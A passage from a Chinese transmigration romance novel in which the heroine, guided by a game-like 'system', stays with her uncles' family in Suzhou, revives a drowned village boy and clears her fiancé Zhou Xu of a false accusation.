董家祖上漕帮出身,家风豪放,搂席的几个小的挑着好的就大快朵颐,江媛眼瞧着精致但不经吃的菜转眼光盘后,心在滴血。
她身边的琳妹妹真是个好妹妹,看她一副欲哭无泪的馋虫样,硬是站起身给江媛扒拉了好多的美味,老鸡鱼丸汤了,手剥河虾仁了,小炒肉,桂花鱼的,都是她爱吃的!
呜呜呜,爱她,更爱江南的厨子,她甚至想去给厨子点个赞。
江媛一边吃,一遍支棱着耳朵听隔壁桌小话儿,大概补齐了自己外祖家的人口结构基配。
董老太太膝下两子一女,大哥董绪走了仕途现任知府,二哥董绸接管了祖上漕运生意,在江南一带成立了个规模还可以的董家帮。
一个搞钱,一个搞权的配置,让董家人完全可以闭着眼上街,因为他们就算目中无人,别人也会来自报家门。
“媛姐儿书可读了?”茶余饭饱后,戚氏问了江母一句。
江母笑道:“儿时她跟在她大哥哥后面读过些《三字经》《弟子规》,后面身体不康健,我舍不得看着小人儿做事,女红,作诗,礼仪束教便都堪堪搁置了。”
原来原身啥也不会啊,那就好那就好,她懒的乐呵。
“前些时日,我舅家举荐了两位闺塾师来,一位尤夫子是教姑娘们算术识字的,˙还有一位胡夫子偶尔来教姑娘们绣活家事,嫂子既住下了,倒不如让媛姐儿和琳儿一道上下学,也好有个伴儿。”
“戚妹妹怕不是从我肚子里钻出来的,怎么我想什么你就送什么来了,这贴心劲儿,做我亲妹妹得了吧!”
“老太太,你瞧小姑子没规矩的,竟说我从她肚子里钻出来,这哪是要认我做妹妹,这是要认我做女儿哪,媛姐儿,你要多个我这样的好姐姐!”
“浑嘴,我可管不了她。”
“哈哈哈......”
厅房里一阵哄笑,又聊了一会子,老太太乏了回了屋里午睡,大大小小的娃儿们也被各自领了回去,气氛一下子冷了下来。
江夫人嘱咐她几句,就和戚氏神神秘秘的走了,还拖走了她目前唯一的小伙伴,董春琳。
李嬷嬷交给小满一个藤编饭篮子笑道:“媛姐儿,
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这里是厨子做的便餐,夫人和你大婶要去忙,麻烦你跑一趟木渡庄,给序公子送些吃的。”
“张贵管家在后院小门候着了,他怕你不熟悉陪你走一趟,姐儿早去早回,晚上董大爷与二爷回来用饭的,夫人让您别误了时辰。”
木渡庄共有小几十户人家,一条河将庄户与农田分隔,要干活必要走一条独木撑起的简易桥板,因此被取名木渡。
木渡的百亩良田曾都是周序母亲苏氏的陪嫁,苏家曾是下江南的巡盐御史,一遭被人诬陷获罪,圣上查抄了满门,男子就地斩杀,女子流放。
可苏家的女子个个贞烈,自问,服毒,撞柱,没有一个苟活,都殉情而亡。
当时惨状,不能言表。
而苏氏因舍不下周序,吊着一口气活着。
就是这样活着,也没能躲过绝命的利剑,那些利剑来自后宅里妇人的口舌,下人的眼神,还有自己丈夫的冷漠。
她们说她贪生怕死,贪图富贵,自己亲人都死了也不去看一眼,还能吃得下饭,哄的了三岁的娃。
他说他越发不似一个主母,人老珠黄,行为散怠,然后娶进来一个平妻,何月莲,周府现在的女主人。
都说艺术来源于生活,狗血也是,这个何月莲的父亲就是当年抄了苏家的监察史。
什么是杀人诛心呢!
自己的丈夫,孩子的父亲,在一个女子重度抑郁的时候告诉她:
“你又丑又老还不管事,我又找了一个新老婆,这个新老婆与你有不共戴天的灭门之仇,她家不仅喝了你家人的血,还抢了你家的东西,但是没关系,以后她还会抢你的孩子,你的家庭。你啊,也别多心,她是好人,不跟你计较,但是你以后要听她的话,不许跟这么温柔的新夫人大声说话。”
江媛在周序下车后听自己的温柔善良的母亲,用顶顶恶毒的话骂着何月莲,同为女子,听见这样的事,她没能帮着一起骂,差点憋出内伤。
也是这一趟苏州行,江夫人,李嬷嬷,小满一起聊天说话,让她这个穿书者在细枝末节里,慢慢补足了周序所在的环境与背景。
她好像有些感性了,她提醒自己,时空穿梭一趟,做任务拿积分才是最要紧的事,这里的纸片人都是后世积攒的白纸黑字。
完成任务,回家,就这样!
乡间泥路高低不平,小满一步一个趔趄,她和张贵倒是健步如飞。
“小姐,这路好难走,你稍微慢点,等等我嘛!”小满无力的呐喊。
江媛接过她手里的食篮:“你这娇气的,这路都算好的了,哪里有多难走。”
这路上真真算不错了,至少比起她以前跟着团队去山里采药的崎岖山路,这样平坦的乡路,洒洒水的啦。
问了村里人,才得知早上刚来的小伙子已经跟着佃户下田干农活去了,江媛少不得又拎着食篮往村后的麦田走。
快到桥口时,江媛看见河边人头攒动的,眼下正是五六月分收麦子的季节,但此刻金黄色的麦田一望无际与河边聚集的人群对比,倒显得安静冷清不少。
率先响起的惊呼声来自中年男子:“活不成啦,活不成了,这小子闹出人命了!”
人命?
5. 解序困境 又添口舌
【叮】
系统:【温馨提示:这是主角遇见的第一个心性大变的小波折,请宿主把握机会,帮助主角解决困难,并抚慰他受伤的心灵,】
江媛吓的箭步冲上前,小满拉都没拉住。
扒开人群,江媛先是看到了浑身湿漉漉的周序被几个手脚不老实的推搡着,他垂着头不说话,脸色惨白,欲辨无词的模样。
地上躺着一个看起来没有生命体征的十岁少年。
一黑衣男子气势汹汹指着他:“小小年纪,手段如此歹毒,这孩子不过是与你争执两句,你何苦将他推下水,木渡河本就比旁的地方深一点,这孩子不会凫水,落水还能有命?”
另有一人:“三爷别与他多说,直接抓去见官,京州来的公子哥儿就能罔顾我们小百姓的性命嘛!”
“对,报官!”
一口一个公子哥儿,这些人应该是不知周序侯府嫡子的身份,不然谁敢和他这样叫板。
何月莲真是好毒的心计,仗着周父不管后宅,把孩子送到这里被刁民精神折磨。
她估计想不到,杀不死周序的都是在帮他变强大,最后周序还亲手结束了她的命。
江媛将周序护在在身后:“报什么官,我大舅舅就是官,要不要我将他直接请来,省的你跑一趟。”
“哪里来的小丫头,仗着家势到这里来欺负我们贱民来了!”
“杀人偿命,报官,报官!”
几个刺头还欲逼人,迎面来的里长看见了张贵,神情一慌立马小跑过来,躬身哈腰:
“贵大哥!好久不见啊,今日怎么想的来木渡了!”
“家里有个孩子送来这里历练历练,我家老爷不放心,托我来看看。”
“唉哟,你贵人事忙,直接差人来知会我一声不就完了,那用您特意跑一趟,知府大人最近可好,我前日还想着送些头茬的瓜果去董府,又怕叨扰了 。”
乡里的里长一来,这卑躬屈膝的样子,众人看在眼里,村民们一度像被按了静音键,叫的最凶的也不吱声了。
“大家都是同乡,事实原由不论,什么脏手都来摸我家公子,真讨厌!”江媛强调了一声。
村里佃户大多是奴籍,瞧江媛衣着不凡,又听闻来自董府,也不敢造次了。
里长指着叫的最凶的那个道:“怎么回事,你来说。”
那人赶紧站出来,神色全然不比刚刚的嚣张,唯唯诺诺道:
“今早,咱们听说村里来了个京州的公子哥儿,何庄头把他安排到我们这儿收麦子,这京州的公子哥有个小厮,怕是回去拿东西了许久没回来,他就想着去找,在独木桥上与铁汉家的大娃子起了争执,好像还动了手,将大娃直接推进水里,大娃不会水,待这公子把他救上来的时候已经不醒人事了。”
江媛大约明白了什么情况,看理论谁是谁非,看来也没个结论,蹲下身去探了探地上少年的鼻息,果然没有呼吸了。
她还想扒衣服检查,小满小声惊呼:“小姐!”
她摆摆手,让她别担心,又将手放上少年的脖颈,嗯?似乎还有一些温热感!
还有救的!
她一个苦命医学生,虽然最后没有临床,转了中药学,可看家本事还在的,赶紧撸起袖子按压胸腔展开一系列急救措施,最后重力按压他的肚子。
果然,没几下大娃口中狂吐河水。
周序眼尖,立马将大娃扶起,大娃晕晕乎乎又咳嗽了好几下,才看清众人。
他揉揉眼道:“王姨,大爷,你们都围在这里做什么。”
江媛长舒一口气,下意识拍拍自己胸口顺了顺,惹的一旁的周序侧目看了她一眼。
“活了,活了。”
这时一个中年男子急急的跑过来抱住他:“大娃,你没事吧,他们说你坠河死了,吓死爹了。”
里长一见活了,立马切上正题:“大娃,你快说说怎么回事,是这个蓝衣哥哥推你到河里的嘛!”
大娃还有些怔,听了问了忙回:“是我自己脚滑,不小心落水的,蓝衣哥哥是下来救我的。”
哟,事件反转,刁民啪啪打脸。
里长接着问周围的人道:“那到底是谁说的,是这个公子将大娃推下的水。”
大家相互望了望,半晌没有一个人站出来。
张贵又指着刚刚的人道:“你说!”
“老王家的说看见了。”
突然,一个妇女吓的连忙跪下:“里长,我......我只瞧见他两都在桥上,一转头,大娃就不见了。”
“那你瞧没瞧见,公子推人入水。”
她支吾:“不......不曾。”
里长厉声:“胡闹,说严重点,你这就是诬陷,第一个就要先抓你见官!”
妇女被吓到嚎丧痛哭,连忙爬着拉着周序的衣角说自己错了,以后再也不敢了这样的话。
周序眼眸低垂,看着她不应声,她又转过身来拉扯江媛:“小姐,老婆子胡说八道的啊,你快跟公子说说,我是个粗人,直肠子,看见什么就说了,真不是诬陷啊。”
“你人美心善,快帮我求求情吧,我家里还有三个孩子,不能去坐牢啊!”
豪嘛,她嚎着把所有人的目光都投射过来,每个人的眼神都等着,看她会不会和周序这个苦主求情。
江媛心里苦啊,她那是不想开口嘛,是她开不了啊,怎么办啊,怎么办啊,都别看我啊,她不是那种铁石心肠,不帮你求情的人啊!
她也很为难啊!
她苦兮兮的看着周序,猛的一瞬,居然捕捉到了周序嘴角上扬了几秒。
江媛愣了,无语了,他再笑什么,是看见她此刻被人架着却又无能为力的窘样很有趣吗。
周序不看她,扶起地上的妇人:“既然误会解开了,这件事就过去吧,田里农活还要干,大家散了吧。”
里长挥挥手,大家也不敢再围观,都捡起自己的工具,去割麦子了。
“太好了,误会解除了!”她开心的自言自语,顺手摇了一下身旁周序的手臂,没想到周序“嘶”了一声。
江媛才想起他手臂有伤,连忙道歉:“不好意思,我忘记你有伤了。”
周序看着自己手臂,小声道:“
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无事,今日谢谢你。”
?她和周序说话了!为什么没消音!
【叮】熟悉的声音。
系统:「宿主你好,检测到主角好感度分值+5,现在对您开放对话权限,望您再接再厉,取得佳绩。」
江媛突然有点感动,看着眼前还没黑化的大奸臣虽然有点冷漠不爱说话,但谦和有礼,是个翩翩儿郎的好模样。
她突然又有点伤感,难以想象,他又是经历了多少恶意和说不出的委屈,才变成了前世那样臭名昭著的千古罪人呢。
初夏的风带着暖意,她与周序坐在田头,周序一口一口吃着她带来的饭,偶尔搭她一两句问话,他的小厮拎了一个水壶来,周序咕咚咕咚,喝了好久。
这是多久没喝水了。
他神色温温,动作温温,江媛托腮看着他,像在看邻居乖孩子学霸弟弟一样,心疼又欣赏。
其实周序很喜欢练武,江媛看过一些史料里也说他武艺超绝,兵法如神,若不走文臣路,也是一位登临瀚海的大将军。
包括正史里,他最后能够手握兵权,击败胡族十三部也是靠他顶顶聪明的头脑和征服一众将领的武艺。
历史上这样文武双全的人,大多数的结局都是光宗耀祖
偏他,一身好本事,却一条道走到黑,不懂,江媛觉得不太合理。
她内心唏嘘着,看他的眼神,又更添了一份复杂。
这时候,有脚步声从身后传来脚步声,她回头一看,一个笑眯眯的男人谄媚着脸过来。
他用浮夸的演技朝周序赔礼道歉,又对江媛说了一堆讨好巴结的话后,她算是看懂了,这就是何月莲在木渡的犬马。
“大公子,我一早出去忙了,回来才听说这里整了这出妖事,要是我在,铁定站在您这一边,帮你好好骂骂那群有眼无珠的东西!”
一副不帮周序讨公道不罢休的假样。
说着语气又转的可怜委屈:
“大公子体谅啊,我也难啊,虽说我是夫人的远亲,可早出了三服,说到底贱民一个,一不敢忤逆夫人老爷吩咐下来监管你的令,二吧,对您咱又不敢吆五喝六,真真难做人呀!您以后啊,有的活计,做做样子就行,千万别较真儿!”
“我一心想着咱们把戏做足了,好叫老爷夫人问的时候,显得您是真来历练来了,也好讨个说法,您说是不!”
“既然江小姐来了,您今日歇息着多陪陪江小姐,活,我让旁人做了!”
周序自然是看到了何庄头蛇鼠两端的虚伪。
要不说强者就是面上无甚表情,其实内心全给你用小本本记下来的神人呢!
对着这样一张丑陋的嘴脸,江媛都恨不得上去踹他一脚,让他闭嘴了,可咱们周大公子却还是很有礼貌的:“何庄头说的是。”
周序身边的小厮临轩没有忍者神功,小声在一旁嘀咕道:“”真是人嘴两张皮,坏的烂的全说成好的,合着我们公子累死累活大半天,水没喝着饭没吃着,还得去体谅你了!”
不是忍者,是个勇者!
周序出声制止:“临轩,不可无礼。”
6. 打人打脸 虾人猪心
临轩不惯着,也不管他家公子厉声,飘一个白眼,还嘁了一声。
何庄头一走,小满嫌弃的骂道:“什么人嘛,客套话说的假不假的,还白白让人领他一份人情,真是恶心。”
临轩瞧她一眼,鼻孔喷气,怄气的回了句:
“你少说他了,要不是你们,咱家公子也不至于被老爷发配到这乡下来,大夫人吹耳边风,说我们公子如何如何辱了你家小姐,临出门前还打了五棍子,可怜见儿的,当天公子就夜里几说了胡话,一口一个的亲娘叫着,惹人心疼呢。”
“临轩!”
周序被临轩说了软处有些羞赧,耳根还爬了些红色,急的连忙喝住他。
小满到底年轻气盛,听见一个小厮说她家小姐,撸起袖子就叉腰起范儿:
“你少仗着你家公子的势,在这里对我们小姐无礼,要论这件事谁对谁错,你怎么说的清楚!”
她气势汹汹的上前护着江媛:“当初小姐病重,躺在床上好几日不起来了,整个京州都知道。你们倒好,趁这个时候来提送礼,那不就是提醒江家还有婚约的事儿吗?什么意思?你们这是什么意思?趁火打劫?怕我们小姐死啦!”
乖乖,江媛没想到自己身边的小丫头,这么牙尖嘴利,战斗力爆表的!
她虽然很想阻拦,但是又觉得她吵架的样子还挺有趣的。
小满的小嘴叭叭叭的:“你知道外面都是怎么传的吗?外面都传你家公子白占了个嫡子身份,实则无权无势,就等着我们小姐进门给他做仰仗呢,如此着急的过来,怕是不是想趁我们家小姐没咽气,赶紧娶过门,好联了这桩姻,让你家公子有个指挥使的老丈人做靠山?”
打人不打脸,杀人不诛心,眼瞧着小满说话难听了,她赶紧拉着她,板起脸凶道:“小满,就事论事就好,我们与序公子并非仇敌,言语间不可带刀子。”
小满被说了,心中委屈,朝临轩小小哼出声,转过身去暗暗生气。
那临轩更是个直肠子,大抵咽不下这口气,脑袋一热嘴巴没控制住:
“江小姐与公子的婚约本就不是公子能做主的,苏夫人走了以后,大夫人的命令,他怎么敢说“不”字,公子之所以想同小姐亲近些,无非是想着江小姐能将那个发簪送还给公子,怎的就惹得你们小姐那样子赶他走,当初江小姐说的那些难听的话,别说带刀子了,说带鹤顶红都不为过!”
“世人都看不起我家公子,那是当然,没了母亲的庇护,哪个孩子能理直气壮的做自己想做的事,江小姐倒是能,那是因为江小姐有母亲有父亲,还有一个把江小姐当珍珠似的哥哥,咱们公子有什么!一个整日想着害他的继母?一个三五月都见不着一次面的父亲,我家公子已经这般可怜了,还要被你们这样误解!”
这小厮还比周序小一岁,小小少年,心中正义未减,愤世嫉俗的呐喊:
“你们小姐还不曾与我家公子相处过,就这样看待我家公子,那成婚后,岂不把我家公子活活欺负死?”
江媛郁闷了:不是啊,你入戏就入戏,你拉踩我干什么呀?活脱脱我到现在可一句话都没说呀,我,我刚刚还帮你的啊。
“你少在这里编排我家小姐,我家小姐成婚后肯定是顶顶好的夫人,论容貌闭月羞花,论才华蕙质兰心,还知书达礼,善解人意,琴棋书画样样精通......”
别说了别说了!
江媛上手捂住满嘴跑火车的小满,此刻气氛已然剑拔弩张,只能手动闭麦,赶紧把小满拉到身后:“小嘴巴,不说话!”
小满还在挣扎:“唔,唔,唔。”
江媛内心:嘘,消停点吧,祖宗!
啪!
临轩被红着脸的周序抽了一耳光,不算重,但也是真的生气啦。
“跪下!”
临轩愣住,红着眼不情愿的跪下。
“你可知错!”
少年虽是仆人,可与周序一同长大,外面里面都是忠心的,今日虽然心直口快了些也是为自己主子抱不平,吐露一下心里闷气。
他不说话,周序却道:“你今日口无遮拦,完全不顾尊卑有序,江小姐是主子,身份地位岂容你直言冒犯,她若要处置来了你,你以为凭你家公子我,能保的下你?”
言重了啊,这话哪儿那儿听着别扭呢,听着像点她,苦于找不到证据 ,再说了,她江媛是这种恃强凌弱的人嘛!
只听周序胸口闷吼:“还不道歉!”
比周序还小的临轩没忍住抽了一下鼻子,飞快抹去快掉下来的眼泪:
“好!我道歉就是!江小姐,小满姑娘对不起!”
他顿了一刻,再开口已经,委屈像兜不住的洪水,随着哭腔发泄出来:
“可是!是她们先说公子品性不好,攀岩附势讨好江家的,临轩不服,您明明不是这样的......江小姐生病那会,您还成宿成宿的查书籍找病因,说那是一起长大的姐姐,你瞧着不忍心......”
“江小姐,正如你们所说,他确实无依无靠,所以大夫人的命令,他才不不能违抗,他也是有苦.....”
周序没想到他还在倒苦水,是彻底生气了。大声吼道:“临轩,你再多说一个字,回来我便找个牙子发卖了你拉倒!”
看着公子像是真生了气,临轩才识相的退到他身后,紧闭了双唇,世界终于安静了。
但又太安静了,以至于气氛有些尴尬。
江媛忙推了一下小满:“车上,母亲带的桃酥你去拿过来,正好和张贵叔说一声,我晚点回去。”
小满见临轩哭的泪哇哇的,也有点不好意思,福身行礼要走。
周序道:“你也跟去,帮小满姑娘提东西。”
这么明显的支人,两个小跟班也是懂的,虽然刚刚还吵的挺凶,但去的路上二人好似也缓和了一点关系。
偌大的麦田金灿灿的,麦子被风吹的摇头晃脑,轻松治愈的画面将身躯笔直,握紧拳头的周序衬托出巨大反差,江媛瞧着他有些紧张,问道:“你是不是有什么话想说?”
周序抬头,看着江媛的眼神里藏着自卑,他大概是鼓足了勇气才轻声问道:“当初你将我赶出江府,是因为,你也觉得我卑鄙无耻小人行径,所以才让你心生厌恶,加重了病情的吗?”
“你既然厌恶我,那从客栈相遇到现在,你替云姨给我送吃食,刚刚有人前相护,是何居心?是发现我受伤了,日子过得不甚如意,突发善心来可怜我?还是......专程来看一个落魄嫡子的笑话的。”
江媛连忙摆手,她才没有这样想,内心默默:之前那个人可能是真的讨厌你,但我没有啊,我对你的感情天地可鉴啊,借我一百个胆子也不敢看你笑话呀!
周序见她不说话,头微微垂下,眼睛看向别处:“我自知卑贱如泥,不肖想也不会觊觎旁人的东西......”
嗯?真的吗?江媛有点想憋笑但极力控制自己的表情,他要是知道自己以后觊觎的东西是什么,现在估计也说不出这样的话。
江媛有点憋屈,堂堂研究所的副主任,手下也有十几号人在管,怎么就沦落到要好言跟一个
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十几岁大的孩子解释,我看不看得起你的这个问题。
周序站在她对面,身量还比她高了半头。
她组织了一下语言,朝他认真道:“我应该跟你道个歉。”
先道歉,这是她多年总结的职场牛马必备技能,不管自己有没有错,先说我错了,态度良好就能解决百分之八十的矛盾。
“此前我对你却有误会,真的很抱歉,家中人多嘴杂,多多少少我会受到别人的影响,难免被她们绕进去,事实证明我看错了人,没与你真正相处过,所以有了现在的误判和误会。”
“我想收回对你所有的成见,不是可怜你,也并非看你笑话,而是真心的觉得你是一个善良,温柔,没有锋芒的君子。”
想着史书里的描写,她虽然说着违心,但瞧见周序动容,脸色微微颤抖,好像见效了。
江媛说完,周序往后退了一步,朝她深深鞠了一躬。
“江小姐能不厌弃我,我已是意外之喜了,与我这样的人有婚约,确实委屈了你,若你介意,江家日后退婚我绝无怨言......”
江媛一听说退婚,忙摆手:“不介意,不介意。”
她是想着近水楼台先得月,有个婚事做羁绊,任务好做许多,可听在周序耳朵里,又是另一种意思了。
周序一愣,神色复杂的看着她。
江媛也意识到自己的话有歧义,立马道:“我是说,现在你毕竟还小,也没到真正谈婚论嫁的时候,待你立冠,我们再考虑这些。”
她说完,周序偏过头,耳根一红。
这突然的娇羞是?她也没说错话啊!
夕阳像个鸭蛋黄,染红了云朵,照红了河水。
小满提了核桃酥来,说道:“张贵叔让早点启程,董知府今天早回的。”
江媛想起母亲的嘱托,朝他摆了摆手:“我明日再来看你。”
周序出奇的朝她微微颔首,还带了明显的笑意,浅浅的梨涡,眼角的泪痣,文气儒雅的挥了挥手。
回程的路上,江媛觉得通体舒畅。
这一趟来,可算是有大大的收获:一正常和周序交流了,二也算误打误撞解开了他们之前积攒颇深的矛盾,三还顺道积极正向的引导了一下男主。
可喜可贺!
【叮!】
系统:【恭喜宿主,此次任务,主角好感度加10,并正向引导主角,积分加50。系统奖励为:惊为天人书法技能,如需要使用,请呼喊:“小统,小统。”为您服务,祝您生活愉快。】
江媛呼出连日来路途颠簸,心情不顺的浊气,神清气爽起来。
分数都是攒起来的,甚至她还得到了一个莫名其妙的书法技能,她一手烂字还挺需要的。
算了,先不想了,过一阵,她又想起什么,问道:“小满,临轩说的那个什么素簪子,你知不知道在哪儿?“
小满想了想,先是摇摇头,后来又想了想。
“我记得,苏夫人知道自己活不长了,请了咱们夫人去托孤,回来的时候就带了个素簪子,好像说是送给了小姐,但是放哪儿没有人记得了,毕竟是个素银簪子,也不值什么钱。”
江媛不觉得那簪子不值钱,她认为人之所以称作高等动物,完全是因为感受,意识,精神的发达而区别于所有其他生物。
好比,有的穷人可以过得很幸福,有的富人却抑郁痛苦。
就算金簪子,玉簪子,钛合金簪子放在周序面前,怕是也只有素簪子和其他簪子的区别。
下次回江家,得好好找找才是。
7. 江南人美 外戚友爱
江洛洛是在北方过惯了的,她一来到江南,总觉得哪里都香香的,妹子香香的,空气也香香的,怪不得都说江南人美水甜呢。
她心情实在不错,撩着窗帘看了许久风景,没忍住问张贵叔道:“张叔,路边是合欢树吗,粉粉绿绿的真好看!”
张贵笑道:“正是呢,你瞧那些铺在地上粉粉的一层,都是风吹落的,它们娇嫩的很,经不住雨打风吹的。”
作为一个藏医药研究者,对于花花草草的,她本身就有极大的兴趣,加之又逢自己这些年大门不出二门不迈的研究土土的中药,对于这些娇嫩的鲜花,她倒是许久许久不曾好好看过了。
“张叔能停一下车吗?我想捡些来看看。”
张贵勒住缰绳,跳下马车:“何须劳动小姐,我下车给你捧一波来就是。”
他站到一棵树下,摇动着树枝,新鲜的合欢花簌簌飘落下,把张叔这中年汉子都衬托的浪漫起来,张叔掀起自己长袍便兜了一布袋。
瞧着江媛实在新奇,张贵道:“不知小姐可知,这合欢树还很有趣呢。”
江媛来了兴趣。
张贵捡起里面的叶子笑道:“你瞧它的叶子,白天是张开的,但一到晚上便会合拢起来。”
“有趣,这是为什么?”
“可能它们也要睡觉吧!”
“哈哈哈。”一路说笑着往董府驶去。
她映着晚霞举起手中粉色的小扇子花朵,放到鼻尖闻了闻,很是喜爱。
穿过熟悉的青石板路,顺着红木雕窗的抄手走廊一直往里走,过了书房、正房、花房,才到了三进院。
董老太太图安静,又时常礼佛,因此住在府宅最靠后的院子里方便进出佛堂。
江媛刚刚从小门绕进去,就听见里面传来闲聊人声,似乎还有男子的声音。
拾阶而上,进了正屋,董春琳眼尖见了她,一把就将她拉过来:“咱们江大小姐终于舍得回来了,我还以为你见了你那娇俏的未婚夫,怕是要留宿了。”
戚氏咚咚敲上她头:“年纪轻轻的大姑娘,嘴上没个把门儿的,你媛姐姐可不像你脸皮厚的菜刀砍不透,休得这样开她玩笑。”
江夫人闻声笑眯眯的过来,将她拉到自己身边,引着她见人。
先是来到一个高大威猛的男子面前,男子身着松石青的袍子,正坐在圈椅上喝茶,江夫人柔柔笑道:“这是你大舅舅,现在咱们苏州做知府,他啊为人板正,也不太爱笑,你尊他一声大舅舅就行。”
江媛颔首半蹲:“大舅舅好。”
董绪平静的脸上挤出一丝笑容,看起来已经很努力的在展现温柔了,他拍拍长袍起身,自带领导的威缓声道:“哪有你母亲说的这样,自己家的孩子大舅舅都疼,媛姐儿,我还是小时候见过,一晃十几年不见,出落的这样好看了。”
“外甥肖舅,好看也是随了我。”
清亮松快的声音从门外传来,一精瘦的男子跨进屋,他未穿长袍,而是穿着束腕的玄色便行衣,满面堆笑,与板正的大舅舅形成强烈对比。
他大步跨进门,来到江媛跟前,将茶几上的茶杯捧起一口灌下。
接着转过身笑眯眯的看着她:“要不是妹妹早将媛姐儿许了人家,咱们苏州城求亲的怕是都要踏破老太太的门槛儿了。”
江夫人见自己二哥哥回来了,也松了松端庄有礼的腰板,捂着嘴偷笑起来:“二哥哥,多年不见你,你还真是一点长进没有,越活越不如小辈上规矩了。”
她道:“洛洛,这是你二舅舅,没个正经,你就叫他‘鬼见愁’罢。”
江媛想来这就是董府的二老爷,董绸了。
众人捂嘴笑着,江媛自然听得出来江夫人在开玩笑,依旧有礼道:“二舅舅好。”
“哈哈哈,好孩子,真是越看越像个大家闺秀了。”他手招一招,陆续有丫鬟端着盘子上来。
“这是二舅舅送你的见面礼。”
与刚刚老领导的气质截然相反,这个二舅舅就像个刚拆迁的暴发户。
江媛打眼儿一瞧,盘子里满满当当的盛着东西:一盘子金石玉器,杂乱的混在一起;一盘子旧书和看起来很贵的毛笔墨石;最后的红木盘子就放了一个木盒。
二舅舅神秘的打开木盒,欣喜的介绍:“外甥女,你来看看这个。”
一旁的戚氏,春琳,被他勾起好奇心,凑上来想看看到底是什么,哦,原不过就是几颗黑色的药丸。
“二叔,你就用这个打发媛姐姐,也忒小气了吧,小姑姑家什么没有,稀罕这些赶大街的玩意儿。”
董绸也不恼春琳打趣他,反而极认真的解释起来:
“你个丫头片子懂什么好货,这些温带玉做的首饰是南龙雪山采的,它夏日冰凉,冬日暖手,给媛姐儿贴身带着正舒服。还有这书和笔,都是我搜罗来的孤本和名家手作,更是千金难求。这些不忙细说,只最后几个小药丸,可是雪山深泥里,费了大劲挖的千年虫,再请京州花神宫的花清道长配的药丸,专调理媛姐这内寒的身子。”
江夫人一听,眼睛瞬间亮亮二百瓦,忙捧起盒子小心端看:“二哥哥此言当真,真是千年虫所制!”
董绸得意道:“上半年船队去了一趟云川,我在南龙雪山脚下挨家挨户问的,大药年年派人去寻,说是十来年了,也没寻到半个虫子,偏我巧,问遍了一个村子,才高价购得一只!”
戚氏也是跟着高兴,过来拍拍江媛:“果真是媛姐儿的造化,二舅舅心里有你呢!”
董绸意犹未尽继续:“还有更巧的事呢,我本要遣人送去京州花神宫让花神道长制药,你们猜怎么着......”
他一拍手:“我遇见了同来云游的花清道长,他正愁满身的药材没虫子配呢,我便与他一匀,做了两颗药丸,他一,我一,各自带来回来了。”
江夫人听着听着抹起眼泪:“真是谢谢二哥哥费心,早年大夫也说这雪你里的千年虫能洛洛的病根,你妹夫和外甥也是托尽里关系也没找到这位药,现下了了我心头最大的心事,可要怎么感谢哥哥才好。”
董绸揽住江夫人的肩膀笑道:“我,你要谢,董绪也得谢,这趟差事还是他分配到我手上,写了不少手令一路传达,我才轻松寻到呢。”
江夫人帕子抹泪,戚氏扶着她,她将要下跪,被董绸一把拉住:“虚礼就莫行了,我肚子饿半天了,老母亲,开席了没?”
董老太太在一旁听着,得知自己外孙女能治好病根子,早就喜的红了眼,见董绪打岔,忙推身旁的妈妈:“快去叫饭吧,大猴子小
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猴子等着呢。”
大家都跟着乐起来,浅浅的笑声化解了刚刚一时来的喜悲感概。
江媛看着丫鬟递木盒,也知这礼重情义重,犹豫着怎么漂亮哟懂事的收下,是否推辞几次,在被硬塞,显得自己不是贪心的人。
江夫人看了一眼李嬷嬷,嬷嬷顺手接礼过来,她说道:“这是两个舅舅送你的礼,你收下他们心里才舒坦。”
董绪侧着身子,挤过来逗江媛:“媛姐儿,你可别学你大舅舅,成天古板客套,那些死礼全丢了最好,来这世间一趟,活着半点没有风趣,要不是你大婶婶眼瞎,他这辈子怕都讨不上老婆呢。”
董老太太听着哈哈大笑:“你个滑头哟。”
又闲扯了几句,门上来报,说宴客厅菜备齐了,请大家去吃。
江媛被春琳拉着,大舅舅一马当先背着手走在最前。
倒是江夫人和二舅舅在后面嘀嘀咕咕说些什么听着模糊。
她一个带任务的人,牛马体附身,竖着耳朵想听听他们在说什么,但是听来听去无非只能听到一些词语,什么南方水路,北方缺粮,上面拨不下来等等。
大致重点就是北方好像粮食紧缺。
说了一路到饭桌,依旧是两席,正厅一席,次间一席,她和小董同学还是被分在了小孩桌。
这一次倒不像中午那一顿,大约是大舅舅在场,所有人都规矩了些,只坐下开吃前闲聊了几句。
偶有中途夹菜,客道间的推杯换盏,一直到饭毕,那一桌大人也没把气氛烘托起来。
倒是小桌没了大人看管,董春琳叽叽喳喳的拉着她四下观察,鬼蛐蛐的:“今天中午你母亲拉着我母亲说了什么,你知道吗?”
江媛表示无语,她知道才怪,下午她都不在家,被支楞去做跑腿了谁人不知。
她假装很好奇:“什么事快给我说说!”
小眼睛亮晶晶的看着她,一脸期待,让董春琳很是受用。
她果然开了话匣子。
江媛从头听完,精简出来大约就是这么几件事:
一则,江夫人这次来是寻江南名医,看似要给江媛看病,实则要给江媛的未婚夫看看身子,说那孩子从小到生的健壮,这些年不知为何,好似身体大不如前。
董春琳说到这里的时候,意犹未尽的眼神扫了江媛一眼,江媛一把拍她大腿:“正经点吧!”
二则在这江南住上两三月,回程时会把董春琳也带京州,说要相看好人家。
江媛表示理解,董府在这苏州,想是往上配,也确实难挑的,不如强强联合,给自己女儿找个得力的夫家,日后董绪想上调,也好办事的多。
官场嘛,懂得都懂。
最后就是说,过些时日京州可能有人要来巡查赋税,她父亲已经好几日没回家了。
江媛听完她的话,点点头:“怪不得今天大舅舅在席上一直皱眉头,怕是为这个事烦着。”
“才不是。”董春琳摇头:“我父亲一向如此,极少会笑,与他那些官僚逢场作戏时会假笑,对对我母亲倒常温柔似水。”
江媛:“那看你呢。”
董春琳一副无所吊谓的样子:“看他心情,不过挨骂的时候多。”
席面一散,董绪匆匆又回府衙了。
8. 风暖云淡 周序撑船
江媛露出同情的眼神,上级领导要来检查,无论是古代还是现世,都是一件令人头疼的大事。
首先你要为领导接风洗尘,这里面的门路道道不堪细说。
其次,你要抓好自己的工作,尽量保证上级领导在巡视期间不出任何纰漏,等他拍拍屁股走了,你到时候才能收拾掉那些不顺眼的玩意儿。
赋税问题,说大不大,说小也不小,有的关系好的上级,小问题也就睁一只眼闭一只眼带过去了,要是不幸遇到个有过节的,那麻烦大了,因为你哪怕滴水不漏,人家想你有问题,就全是问题,要么不痛不痒,要么剥皮抽筋。
董春琳是个傻的,自己父亲忧心忡忡也没半分察觉。
一连半月,没有什么大人物要来的消息,董府还是维持着日常的生活。
